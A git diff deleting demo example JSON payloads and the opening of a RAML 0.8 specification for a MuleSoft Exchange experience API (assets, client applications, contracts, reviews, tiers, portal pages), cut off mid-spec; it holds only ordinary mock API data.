"mocking-service", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "productAPIVersion": "v1", - "version": "1.0.0", - "environmentId": "id", - "endpointUri": "https://mocksvc-proxy.anypoint.mulesoft.com/exchange/f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "name": "Mocking Service", - "isPublic": true, - "type": "mocked", - "fullname": "Mocking Service" - } - ], - "productAPIVersions": [ - { - "productAPIVersion": "v1", - "versions": [ - { - "id": "f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "version": "1.0.0", - "organization": { - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4" - }, - "status": "published", - "isPublic": false, - "createdAt": "2017-11-15T14:45:58.962Z", - "assetLink": "", - "runtimeVersion": "", - "productAPIVersion": "v1", - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "type": "rest-api" - } - ] - } - ], - "metadata": { - "productApiVersion": "v1" - }, - "createdBy": { - "id": "22222a22-2222-22a2-a2aa-2222222222aa", - "firstName": "Charlie", - "lastName": "Brown", - "userName": "Char" - }, - "permissions": [ - "admin", - "edit" - ], - "organization": { - "name": "AGW", - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4", - "createdAt": "2017-09-01T19:05:53.528Z", - "updatedAt": "2017-11-01T16:56:04.797Z", - "ownerId": "6dd2fd2d-9a83-4949-9a3f-72f3a065fef3", - "clientId": "a1e5d79e5bf3482fa22e90825b92142c", - "domain": "mulesoft-inc", - "idprovider_id": "mulesoft", - "isFederated": false, - "parentOrganizationIds": [ - "f0c9b011-980e-4928-9430-e60e3a97c043" - ], - "subOrganizationIds": [], - "tenantOrganizationIds": [], - "isMaster": false - } - } -] diff --git a/demo/exchange-experience-api/examples/assign-users.json b/demo/exchange-experience-api/examples/assign-users.json deleted file mode 100644 index 48c6cf7..0000000 --- a/demo/exchange-experience-api/examples/assign-users.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "userId": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", - "role": "admin" - } -] diff --git a/demo/exchange-experience-api/examples/client-applications.json b/demo/exchange-experience-api/examples/client-applications.json deleted file mode 100644 index f80350b..0000000 --- a/demo/exchange-experience-api/examples/client-applications.json +++ /dev/null @@ -1,41 +0,0 @@ -[ - { - "masterOrganizationId": "40fbc081-bb0d-4aff-9fb7-f3a48fdeb958", - "id": 1, - "name": "The Amazing Application", - "description": "This is the description of The Amazing Application", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "contract": { - "id": 35885, - "status": "APPROVED", - "tier": { - "id": 1234, - "name": "Gold", - "description": null, - "limits": [ - { - "timePeriodInMilliseconds": 60000, - "maximumRequests": 1000 - }, - { - "maximumRequests": 20000, - "timePeriodInMilliseconds": 3600000 - } - ], - "status": "ACTIVE" - } - } - } -] diff --git a/demo/exchange-experience-api/examples/contracts.json b/demo/exchange-experience-api/examples/contracts.json deleted file mode 100644 index 66b275a..0000000 --- a/demo/exchange-experience-api/examples/contracts.json +++ /dev/null @@ -1,36 +0,0 @@ -[ - { - "id": 36444, - "status": "PENDING", - "requestedTier": { - "description": null, - "id": 14939, - "limits": [ - { - "maximumRequests": 1000, - "timePeriodInMilliseconds": 60000 - }, - { - "maximumRequests": 20000, - "timePeriodInMilliseconds": 3600000 - } - ], - "name": "Gold" - } - }, - { - "id": 13765, - "status": "APPROVED", - "tier": { - "description": null, - "id": 5770, - "limits": [ - { - "maximumRequests": 5, - "timePeriodInMilliseconds": 60000 - } - ], - "name": "Silver" - } - } -] diff --git a/demo/exchange-experience-api/examples/file.json b/demo/exchange-experience-api/examples/file.json deleted file mode 100644 index 8de566f..0000000 --- a/demo/exchange-experience-api/examples/file.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "key": "my-file", - "url": "http://my-file" -} diff --git a/demo/exchange-experience-api/examples/get-client-application-response.json b/demo/exchange-experience-api/examples/get-client-application-response.json deleted file mode 100644 index acb239e..0000000 --- a/demo/exchange-experience-api/examples/get-client-application-response.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "id": 59453, - "name": "TestRequestAPIAccess", - "description": "TestRequestAPIAccess description", - "url": "http://localhost:8080", - "redirectUri": ["http://localhost:9090"], - "clientId": "904ca48597f54f6a9ed98ab9f4bcbb85", - "clientSecret": "2D1921aEbC6847D1ADc329603E4c5dC1", - "masterOrganizationId": "68ef9520-24e9-4cf2-b2f5-620025690913", - "grantTypes": [] -} diff --git a/demo/exchange-experience-api/examples/health-response.json b/demo/exchange-experience-api/examples/health-response.json deleted file mode 100644 index 0ee51de..0000000 --- a/demo/exchange-experience-api/examples/health-response.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "status": "ok", - "dependencies": [ - { - "name": "Asset Portal Service", - "code": "portal-service", - "description": "The Asset Portal Service Dependency", - "status": "ok" - }, - { - "name": "Graph Service", - "code": "graph-service", - "description": "The Graph Service Dependency", - "status": "ok" - }, - { - "name": "CS Service", - "code": "cs-service", - "description": "The CS Service Dependency", - "status": "ok" - }, - { - "name": "Asset review Service", - "code": "asset-review-service", - "description": "The Asset Review Service Dependency", - "status": "ok" - }, - { - "name": "Asset Manager Service", - "code": "asset-manager-service", - "description": "The Asset Manager Service Dependency", - "status": "ok" - }, - { - "name": "Dependency Resolver Service", - "code": "dependency-resolver", - "description": "The Dependency Resolver Service Dependency", - "status": "ok" - }, - { - "name": "API Metadata Service", - "code": "api-metadata", - "description": "The API Metadata Service Dependency", - "status": "ok" - }, - { - "name": "Search Service", - "code": "search", - "description": "The Search Service Dependency", - "status": "ok" - } - ] -} diff --git a/demo/exchange-experience-api/examples/page.d.ts b/demo/exchange-experience-api/examples/page.d.ts deleted file mode 100644 index 61e203e..0000000 --- a/demo/exchange-experience-api/examples/page.d.ts +++ /dev/null @@ -1,13 +0,0 @@ -/** - * DO NOT EDIT - * - * This file was automatically generated by - * https://github.com/Polymer/tools/tree/master/packages/gen-typescript-declarations - * - * To modify these typings, edit the source file(s): - * demo/exchange-experience-api/examples/page.html - */ - - -// tslint:disable:variable-name Describing an API that's defined elsewhere. - diff --git a/demo/exchange-experience-api/examples/page.html b/demo/exchange-experience-api/examples/page.html deleted file mode 100644 index 6e2851f..0000000 --- a/demo/exchange-experience-api/examples/page.html +++ /dev/null @@ -1,14 +0,0 @@ -

- Salesforce to Salesforce, Workday, SAP and Database Account Broadcast -

-

- - Real time synchronization of accounts from one Salesforce org to another as well as a Workday HCM instance, an SAP instance and a Database using a non-persistent JMS topic. - -

-

- Description -

-

- This Anypoint Template should serve as a foundation for setting an online sync of accounts from a Salesforce instance to many destination systems, using the Publish-subscribe pattern. Every time there is a new account or a change in an already existing one, the integration will poll for changes in the Salesforce source Org, publish the changes to a JMS topic and each subscriber will be responsible for updating the accounts in the target systems.\n\nThe application has two different batch jobs consuming this JMS topic, one for migrating the changes to the second Salesforce Org and the other one for migrating the changes to the Database. During the Process stage, each Salesforce account will be matched with an existing account in the Salesforce Org B or the Database by Name. The last step of the Process stage will group the accounts and create/update them in Salesforce Org B.\n\nFinally during the On Complete stage the Anypoint Template will log output statistics data into the console.\n\nRead more about the Publish-Subscribe pattern in this blog post -

diff --git a/demo/exchange-experience-api/examples/page.json b/demo/exchange-experience-api/examples/page.json deleted file mode 100644 index 1316410..0000000 --- a/demo/exchange-experience-api/examples/page.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "path": "home", - "name": "Home page" -} diff --git a/demo/exchange-experience-api/examples/page.md b/demo/exchange-experience-api/examples/page.md deleted file mode 100644 index 88a4418..0000000 --- a/demo/exchange-experience-api/examples/page.md +++ /dev/null @@ -1,13 +0,0 @@ -# Salesforce to Salesforce, Workday, SAP and Database Account Broadcast - -_Real time synchronization of accounts from one Salesforce org to another as well as a Workday HCM instance, an SAP instance and a Database using a non-persistent JMS topic._ - -## Description - -This Anypoint Template should serve as a foundation for setting an online sync of accounts from a Salesforce instance to many destination systems, using the Publish-subscribe pattern. Every time there is a new account or a change in an already existing one, the integration will poll for changes in the Salesforce source Org, publish the changes to a JMS topic and each subscriber will be responsible for updating the accounts in the target systems. - -The application has two different batch jobs consuming this JMS topic, one for migrating the changes to the second Salesforce Org and the other one for migrating the changes to the Database. During the Process stage, each Salesforce account will be matched with an existing account in the Salesforce Org B or the Database by Name. The last step of the Process stage will group the accounts and create/update them in Salesforce Org B. - -Finally during the On Complete stage the Anypoint Template will log output statistics data into the console. - -Read more about the Publish-Subscribe pattern in [this](http://blogs.mulesoft.com/introducing-pubsub-pattern-anypoint-templates/) blog post diff --git a/demo/exchange-experience-api/examples/pageCreate.json b/demo/exchange-experience-api/examples/pageCreate.json deleted file mode 100644 index 0e54fcc..0000000 --- a/demo/exchange-experience-api/examples/pageCreate.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "pagePath": "docs/faq" -} diff --git a/demo/exchange-experience-api/examples/pages.json b/demo/exchange-experience-api/examples/pages.json deleted file mode 100644 index 2fbc190..0000000 --- a/demo/exchange-experience-api/examples/pages.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "path": "home.md", - "name": "Home page" - }, - { - "path": "/examples/example.md", - "name": "Example Page" - } -] diff --git a/demo/exchange-experience-api/examples/patch-API-instance-body.json b/demo/exchange-experience-api/examples/patch-API-instance-body.json deleted file mode 100644 index da203d2..0000000 --- a/demo/exchange-experience-api/examples/patch-API-instance-body.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "name": "Production - US", - "endpointUri": "http://dog.domain.tld.com/much/doge", - "isPublic": true -} diff --git a/demo/exchange-experience-api/examples/patch-asset-metadata.json b/demo/exchange-experience-api/examples/patch-asset-metadata.json deleted file mode 100644 index 4c93e7d..0000000 --- a/demo/exchange-experience-api/examples/patch-asset-metadata.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "type": "anyType", - "name": "anyName", - "description": "anyDescription", - "isCompleted": true, - "tags": [ - { - "value": "Twitter" - }, - { - "value": "Finance", - "key": "App" - }, - { - "value": "Enterprise IT" - }, - { - "value": "HTTP", - "key": "Protocol" - } - ] -} diff --git a/demo/exchange-experience-api/examples/patch-client-application-body.json b/demo/exchange-experience-api/examples/patch-client-application-body.json deleted file mode 100644 index 0288a6c..0000000 --- a/demo/exchange-experience-api/examples/patch-client-application-body.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080", - "masterOrganizationId": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "clientId": "49670e55b98b4ad2be0b6fc20d2cafa2", - "clientSecret": "0fD00492a2554e5f9857598Dbd675472", - "id": 3 -} diff --git a/demo/exchange-experience-api/examples/patch-client-application-response.json b/demo/exchange-experience-api/examples/patch-client-application-response.json deleted file mode 100644 index 0288a6c..0000000 --- a/demo/exchange-experience-api/examples/patch-client-application-response.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080", - "masterOrganizationId": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "clientId": "49670e55b98b4ad2be0b6fc20d2cafa2", - "clientSecret": "0fD00492a2554e5f9857598Dbd675472", - "id": 3 -} diff --git a/demo/exchange-experience-api/examples/patch-review-body.json b/demo/exchange-experience-api/examples/patch-review-body.json deleted file mode 100644 index a4774fd..0000000 --- a/demo/exchange-experience-api/examples/patch-review-body.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "rating": 5, - "text": "This is a review" -} diff --git a/demo/exchange-experience-api/examples/patch-review-comment-body.json b/demo/exchange-experience-api/examples/patch-review-comment-body.json deleted file mode 100644 index 630349c..0000000 --- a/demo/exchange-experience-api/examples/patch-review-comment-body.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "text": "This is a review comment" -} diff --git a/demo/exchange-experience-api/examples/portal.json b/demo/exchange-experience-api/examples/portal.json deleted file mode 100644 index 13bb411..0000000 --- a/demo/exchange-experience-api/examples/portal.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "draftStatus": "PUBLISHED", - "pages": [ - { - "path": "home.md", - "name": "Home page" - }, - { - "path": "/examples/example.md", - "name": "Example Page" - } - ] -} diff --git a/demo/exchange-experience-api/examples/portalCustomization.json b/demo/exchange-experience-api/examples/portalCustomization.json deleted file mode 100644 index a677b3a..0000000 --- a/demo/exchange-experience-api/examples/portalCustomization.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "customization": { - "home": { - "heroImage": "", - "welcomeTitle": "Welcome to the Portal", - "welcomeText": "content", - "textColor": "#000000" - } - }, - "pages": [ - { - "path": "home.md", - "name": "Home page" - }, - { - "path": "/examples/example.md", - "name": "Example Page" - } - ] -} diff --git a/demo/exchange-experience-api/examples/portalCustomizationUpdate.json b/demo/exchange-experience-api/examples/portalCustomizationUpdate.json deleted file mode 100644 index c8aaa2d..0000000 --- a/demo/exchange-experience-api/examples/portalCustomizationUpdate.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "customization": { - "home": { - "heroImage": "", - "welcomeTitle": "Welcome to the Portal", - "welcomeText": "content", - "textColor": "#000000" - } - } -} diff --git a/demo/exchange-experience-api/examples/post-API-instance-body.json b/demo/exchange-experience-api/examples/post-API-instance-body.json deleted file mode 100644 index da203d2..0000000 --- a/demo/exchange-experience-api/examples/post-API-instance-body.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "name": "Production - US", - "endpointUri": "http://dog.domain.tld.com/much/doge", - "isPublic": true -} diff --git a/demo/exchange-experience-api/examples/post-asset-multipart.txt b/demo/exchange-experience-api/examples/post-asset-multipart.txt deleted file mode 100644 index 553ed35..0000000 --- a/demo/exchange-experience-api/examples/post-asset-multipart.txt +++ /dev/null @@ -1,29 +0,0 @@ -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="organizationId" - -c44be829-3d89-4b70-80be-277b7633bc5a -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="groupId" - -c44be829-3d89-4b70-80be-277b7633bc5a -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="assetId" - -http-api -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="version" - -1.0.0 -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="name" - -HTTP API -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="classifier" - -http -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="apiVersion" - -v1 -------WebKitFormBoundaryTjIAeJhWzfnFLKzF-- \ No newline at end of file diff --git a/demo/exchange-experience-api/examples/post-client-application-body.json b/demo/exchange-experience-api/examples/post-client-application-body.json deleted file mode 100644 index 61b98de..0000000 --- a/demo/exchange-experience-api/examples/post-client-application-body.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080" -} diff --git a/demo/exchange-experience-api/examples/post-client-application-response.json b/demo/exchange-experience-api/examples/post-client-application-response.json deleted file mode 100644 index 0288a6c..0000000 --- a/demo/exchange-experience-api/examples/post-client-application-response.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080", - "masterOrganizationId": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "clientId": "49670e55b98b4ad2be0b6fc20d2cafa2", - "clientSecret": "0fD00492a2554e5f9857598Dbd675472", - "id": 3 -} diff --git a/demo/exchange-experience-api/examples/post-contract-response.json b/demo/exchange-experience-api/examples/post-contract-response.json deleted file mode 100644 index 9249ec8..0000000 --- a/demo/exchange-experience-api/examples/post-contract-response.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "clientId": "314e6d88-4c0f-4259-95e1-2c9b06bffb6c", - "clientSecret": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "id": 1000, - "status": "ACTIVE", - "tier": { - "description": "est nihil magnam dolore et ipsa nulla omnis\ncupiditate consectetur qui tempore quaerat et consequatur sunt eos enim\nesse quasi et qui quis dolorum", - "id": 35, - "limits": [ - { - "maximumRequests": 10000000, - "timePeriodInMilliseconds": 2592000000 - } - ], - "name": "enim 35", - "status": "DEPRECATED" - } -} diff --git a/demo/exchange-experience-api/examples/post-contract.json b/demo/exchange-experience-api/examples/post-contract.json deleted file mode 100644 index 5cf7bc8..0000000 --- a/demo/exchange-experience-api/examples/post-contract.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "acceptedTerms": true, - "apiId": 2345, - "environmentId": 1234, - "requestedTierId": 100, - "termsText": "These are the terms and conditions" -} diff --git a/demo/exchange-experience-api/examples/post-review-body.json b/demo/exchange-experience-api/examples/post-review-body.json deleted file mode 100644 index d16b1e2..0000000 --- a/demo/exchange-experience-api/examples/post-review-body.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "rating": 3, - "title": "this is the review title", - "text": "This is a review" -} diff --git a/demo/exchange-experience-api/examples/post-review-comment-body.json b/demo/exchange-experience-api/examples/post-review-comment-body.json deleted file mode 100644 index 630349c..0000000 --- a/demo/exchange-experience-api/examples/post-review-comment-body.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "text": "This is a review comment" -} diff --git a/demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json b/demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json deleted file mode 100644 index edc8fe7..0000000 --- a/demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - "1.0.0", - "2.0.0", - "3.0.0", - "22.0.0" -] diff --git a/demo/exchange-experience-api/examples/profile.json b/demo/exchange-experience-api/examples/profile.json deleted file mode 100644 index a763589..0000000 --- a/demo/exchange-experience-api/examples/profile.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "username": "username" -} diff --git a/demo/exchange-experience-api/examples/public-versions.json b/demo/exchange-experience-api/examples/public-versions.json deleted file mode 100644 index c91e9e7..0000000 --- a/demo/exchange-experience-api/examples/public-versions.json +++ /dev/null @@ -1,8 +0,0 @@ -[ - { - "productAPIVersion": "v1" - }, - { - "productAPIVersion": "v2" - } -] diff --git a/demo/exchange-experience-api/examples/rating.json b/demo/exchange-experience-api/examples/rating.json deleted file mode 100644 index 7f30ffd..0000000 --- a/demo/exchange-experience-api/examples/rating.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "group": "com.mulesoft", - "assetId": "someasset", - "version": "1.0.0", - "rating": 5.22, - "numberOfRates": 45 -} diff --git a/demo/exchange-experience-api/examples/review-comment.json b/demo/exchange-experience-api/examples/review-comment.json deleted file mode 100644 index d0ff252..0000000 --- a/demo/exchange-experience-api/examples/review-comment.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "reviewId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "assetId": "Test-connector-1", - "version": "1.0.1", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "text": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" -} diff --git a/demo/exchange-experience-api/examples/review-comments.json b/demo/exchange-experience-api/examples/review-comments.json deleted file mode 100644 index 43c9491..0000000 --- a/demo/exchange-experience-api/examples/review-comments.json +++ /dev/null @@ -1,24 +0,0 @@ -[ - { - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "reviewId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "assetId": "Test-connector-1", - "version": "1.1.0", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "text": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - }, - { - "id": "e65n8e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "reviewId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "assetId": "Test-connector-1", - "version": "2.2", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "text": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - } -] diff --git a/demo/exchange-experience-api/examples/review.json b/demo/exchange-experience-api/examples/review.json deleted file mode 100644 index 27da206..0000000 --- a/demo/exchange-experience-api/examples/review.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "id": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "userId": "Test-connector-1", - "version": "1.0.0", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "rating": 5, - "text": "Hey, this is a review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z", - "comments": [ - { - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "comment": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - } - ] -} diff --git a/demo/exchange-experience-api/examples/reviews.json b/demo/exchange-experience-api/examples/reviews.json deleted file mode 100644 index 7d65eac..0000000 --- a/demo/exchange-experience-api/examples/reviews.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "id": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "userId": "Test-connector-1", - "version": "1.0.0", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "rating": 5, - "text": "Hey, this is a review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z", - "comments": [ - { - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "comment": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - } - ] - } -] diff --git a/demo/exchange-experience-api/examples/search-queries.json b/demo/exchange-experience-api/examples/search-queries.json deleted file mode 100644 index 09ad905..0000000 --- a/demo/exchange-experience-api/examples/search-queries.json +++ /dev/null @@ -1,8 +0,0 @@ -[{ - "name": "name", - "types": [ - "connector", - "rest-api" - ], - "search": "salesforce" -}] diff --git a/demo/exchange-experience-api/examples/search-query.json b/demo/exchange-experience-api/examples/search-query.json deleted file mode 100644 index 343f4c5..0000000 --- a/demo/exchange-experience-api/examples/search-query.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "name": "name", - "types": [ - "connector", - "rest-api" - ], - "search": "salesforce" -} diff --git a/demo/exchange-experience-api/examples/tags.json b/demo/exchange-experience-api/examples/tags.json deleted file mode 100644 index 064c4bf..0000000 --- a/demo/exchange-experience-api/examples/tags.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "value": "Twitter", - "key": "Apps", - "mutable": true - }, - { - "value": "Finance", - "key": "Others", - "mutable": true - }, - { - "value": "Enterprise IT", - "key": "IT", - "mutable": true - }, - { - "value": "HTTP", - "key": "Tech", - "mutable": true - } -] diff --git a/demo/exchange-experience-api/examples/tiers.json b/demo/exchange-experience-api/examples/tiers.json deleted file mode 100644 index 0203d81..0000000 --- a/demo/exchange-experience-api/examples/tiers.json +++ /dev/null @@ -1,26 +0,0 @@ -[ - { - "id": 100, - "name": "Free", - "description": null, - "limits": [ - { - "timePeriodInMilliseconds": 10000, - "maximumRequests": 10 - } - ], - "status": "ACTIVE" - }, - { - "id": 101, - "name": "Cheap", - "description": null, - "limits": [ - { - "timePeriodInMilliseconds": 1000, - "maximumRequests": 10 - } - ], - "status": "ACTIVE" - } -] diff --git a/demo/exchange-experience-api/examples/users.json b/demo/exchange-experience-api/examples/users.json deleted file mode 100644 index a688e5c..0000000 --- a/demo/exchange-experience-api/examples/users.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", - "username": "char", - "firstName": "Charlie", - "lastName": "Brown", - "profilePhoto": "http://my-photos.com/char.jpg", - "email": "char@wash.com" - } -] diff --git a/demo/exchange-experience-api/exchange-experience-api.raml b/demo/exchange-experience-api/exchange-experience-api.raml deleted file mode 100644 index d17e0b8..0000000 --- a/demo/exchange-experience-api/exchange-experience-api.raml +++ /dev/null @@ -1,1069 +0,0 @@ -#%RAML 0.8 -title: exchange-xapi -version: v1 -mediaType: application/json -baseUri: https://anypoint.mulesoft.com/exchange/api/v1 - -traits: - - searchable: !include traits/searchable.raml - - deleteable: !include traits/deleteable.raml - - pagePoster: - description: | - Creates an empty page for a draft version. Remember that: - - A page cannot be moved/created to/in a path that already contains another page with the same name. - headers: - x-move-source: - type: string - description: | - This header is used when you want to rename or move an existing page. - `x-move-source` specifies the path of the page or folder that wants to be moved, the source. - The request body property `path` will be the destination. - example: "/examples/" - body: - schema: !include schemas/pageCreate.json - example: !include examples/pageCreate.json - -securitySchemes: - - oauth_2_0: !include securitySchemes/oauth2.raml - -resourceTypes: - - assets: - usage: Use this resourceType to represent a collection of assets - description: A collection of assets - get: - is: [ searchable ] - securedBy: [oauth_2_0] - description: Get a paginated set of assets - responses: - 200: - body: - application/json: - schema: !include schemas/assets.json - example: !include examples/assets.json - - - portal: - usage: Use this resourceType to represent an asset portal - description: An Asset portal - get: - securedBy: [oauth_2_0] - description: Get an asset portal - responses: - 200: - body: - application/json: - schema: !include schemas/portal.json - example: !include examples/portal.json - - - page: - usage: Use this resourceType to represent any single page - description: A single asset page - get: - securedBy: [oauth_2_0] - description: Get a particular page - responses: - 200: - body: - text/html: - example: !include examples/page.html - text/markdown: - example: !include examples/page.md - application/json: - example: !include examples/page.json - - - editablePage: - type: page - usage: when edition is needed - put: - securedBy: [oauth_2_0] - description: Update a page for a <> portal - body: - text/markdown: - example: !include examples/page.md - responses: - 204: - description: Page updated - delete: - securedBy: [oauth_2_0] - description: Delete a page of a <> portal - responses: - 204: - description: Page deleted - - - pages: - usage: Use this resourceType to represent a collection of pages - description: A collection of pages - get: - securedBy: [oauth_2_0] - description: Get a list of pages - responses: - 200: - body: - 